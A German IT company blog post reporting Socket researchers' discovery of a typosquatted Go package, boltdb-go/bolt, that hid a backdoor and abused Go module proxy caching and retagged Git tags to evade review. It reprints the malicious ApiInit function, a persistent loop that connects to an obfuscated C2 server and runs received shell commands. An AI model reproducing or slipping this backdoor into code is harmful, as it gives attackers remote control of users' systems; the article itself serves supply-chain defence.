Comretix Blog

Wir bieten aktuelle Informationen über uns und aus der IT Welt.

Typosquatting im Go-Ökosystem: Gefälschtes BoltDB-Paket entdeckt

Socket-Forscher haben im Ökosystem der Programmiersprache Go ein bösartiges Typosquatting-Paket entdeckt, das sich als das BoltDB-Modul ausgibt. Dieses Paket enthält eine Hintertür zur Remote-Code-Ausführung und nutzt den Go Module Mirror-Dienst, um im Cache zu bleiben. Gleichzeitig wurden die Git-Tags geändert, um die Malware vor manuellen Überprüfungen zu verbergen.

Anzeige

Das Thema Typosquatting ist nicht neu: Bereits bei den Paketmanagern PyPI und npm hatte es in den letzten Jahren immer wieder derartige Vorfälle gegeben, bei denen Schadcode in Paketen mit ähnlich klingenden Namen wie populäre Bibliotheken versteckt wurde, um Nutzerinnen und Nutzer zu täuschen und zum Herunterladen dieser bösartigen Pakete zu verleiten.

Im aktuellen Fall entwickelte ein Angreifer ein bösartiges Go-Paket mit dem Namen boltdb-go/bolt, das dem weitverbreiteten und legitimen BoltDB-Paket zum Verwechseln ähnlich sieht. Nachdem das bösartige Paket vom Go Module Proxy zwischengespeichert wurde, änderte der Angreifer die Git-Tags im Quell-Repository, sodass sie auf eine saubere, legitime Version verweisen. Dadurch blieb die bösartige Version für Entwicklerinnen und Entwickler verfügbar, die den Proxy nutzten, selbst wenn sie manuell das GitHub-Repository überprüften.

Ein bösartiges Codebeispiel aus dem Blogbeitrag von Socket zeigt anhand von Kommentaren, wie der Angreifer beim Einrichten und Aktivieren einer versteckten Hintertür in der db.go-Datei vorgegangen ist:

func ApiInit() { go func() { defer func() { // Persistence mechanism: // If the function panics (e.g. connection loss), // restart after 30 seconds if r := recover(); r != nil { time.Sleep(30 * time.Second) ApiInit() } }() for { d := net.Dialer{Timeout: 10 * time.Second} // Obfuscated C2 connection: // Constructs a hidden IP address and port using _r() conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort))) if err != nil { // Stealth: // If the connection fails, retry in // 30 seconds to avoid immediate detection time.Sleep(30 * time.Second) continue } // Remote command execution loop // Reads incoming commands and executes them for { message, _ := bufio.NewReader(conn).ReadString('\n') args, err := shellwords.Parse(strings.TrimSuffix(message, "\n")) if err != nil { fmt.Fprintf(conn, "Parse err: %s\n", err) continue } // Execution of arbitrary shell commands var out []byte if len(args) == 1 { out, err = exec.Command(args[0]).Output() } else { out, err = exec.Command(args[0], args[1:]...).Output() } // Exfiltration: // Sends the command output or error back // to the threat actor if err != nil { fmt.Fprintf(conn, "%s\n", err) } fmt.Fprintf(conn, "%s\n", out) } } }() }

Go-Module sind so konzipiert, dass sie nach ihrer Veröffentlichung unveränderlich sind. Das bedeutet, dass alle Nutzerinnen und Nutzer, die eine bestimmte Version eines Moduls herunterladen, immer dieselben Daten erhalten. Ziel ist, die Integrität und Reproduzierbarkeit von Builds sicherzustellen, indem heimliche Änderungen oder Überschreibungen nach der Veröffentlichung verhindert werden.

Obwohl Angreifer die Unveränderlichkeit ausnutzen können, um schädlichen Code dauerhaft im Cache zu belassen, ist diese Eigenschaft ein wichtiger Sicherheitsvorteil, da sie das Vertrauen in die Konsistenz von Modulen erhöht.

Das bösartige Paket boltdb-go/bolt ist mit einer Hintertür ausgestattet, die eine Verbindung zu einem entfernten C2-Server herstellt. Diese Verbindung ermöglicht es Angreifern, Befehle an das infizierte System zu senden und auszuführen, wodurch sie die Kontrolle über das System übernehmen können. Über einen zentralen C2-Server (Command-and-Control-Server) kommunizieren die Angreiferinnen und Angreifer mit kompromittierten Systemen, um Anweisungen zu senden und Daten zu empfangen.

Der Code verwendet Verschleierungstechniken, um die IP-Adresse des C2-Servers zu verbergen, was eine Erkennung erschwert. Die Hintertür aktiviert sich, wenn bestimmte Funktionen im Paket genutzt werden. Sie bleibt aktiv, selbst wenn sie abstürzt, da sie über eine automatische Neustartfunktion verfügt.

Der Vorfall verdeutlicht, dass sich die Mechanismen zur Paketverteilung im Go-Ökosystem auch für Angriffe missbrauchen lassen. Entwicklerinnen und Entwickler sollten daher besonders wachsam sein und die Integrität von Paketen vor der Installation gründlich prüfen. Laut Blogbeitrag ist es besonders wichtig, Abhängigkeiten auf Anomalien zu untersuchen und fortschrittliche Sicherheitstools einzusetzen, die den installierten Code genau analysieren.

Um das Go-Modul-Ökosystem widerstandsfähiger gegenüber solchen Angriffen zu machen, sind verstärkte Sicherheitsmaßnahmen und ein erhöhtes Bewusstsein für potenzielle Bedrohungen erforderlich.

Weiterführende Informationen bietet der Blogbeitrag von Socket.

(Diese E-Mail-Adresse ist vor Spambots geschützt! Zur Anzeige muss JavaScript eingeschaltet sein.)

(Ursprünglich geschrieben von Madeleine Domogalla)
×
Stay Informed

When you subscribe to the blog, we will send you an e-mail when there are new updates on the site so you wouldn't miss them.

Zugriffsmanagement: HPE Aruba Networking CPPM ist ...
Support ausgelaufen: Keine Sicherheitsupdates mehr...
 

Kommentare

Derzeit gibt es keine Kommentare. Schreibe den ersten Kommentar!
Bereits registriert? Hier einloggen
Mittwoch, 05. November 2025

Die Comretix GmbH ist ein IT Systemhaus aus Tuttlingen. Seit über 30 Jahren betreuen wir unsere Kunden in Baden-Württemberg, der Schweiz und im gesamten Bundesgebiet mit Leidenschaft, Fairness und Loyalität. Wir bauen auf eine zuverlässige Partnerschaft mit unseren Lieferanten und Kunden. Unseren Mitarbeitern stehen wir auf Augenhöhe gegenüber.

Comretix GmbH Logo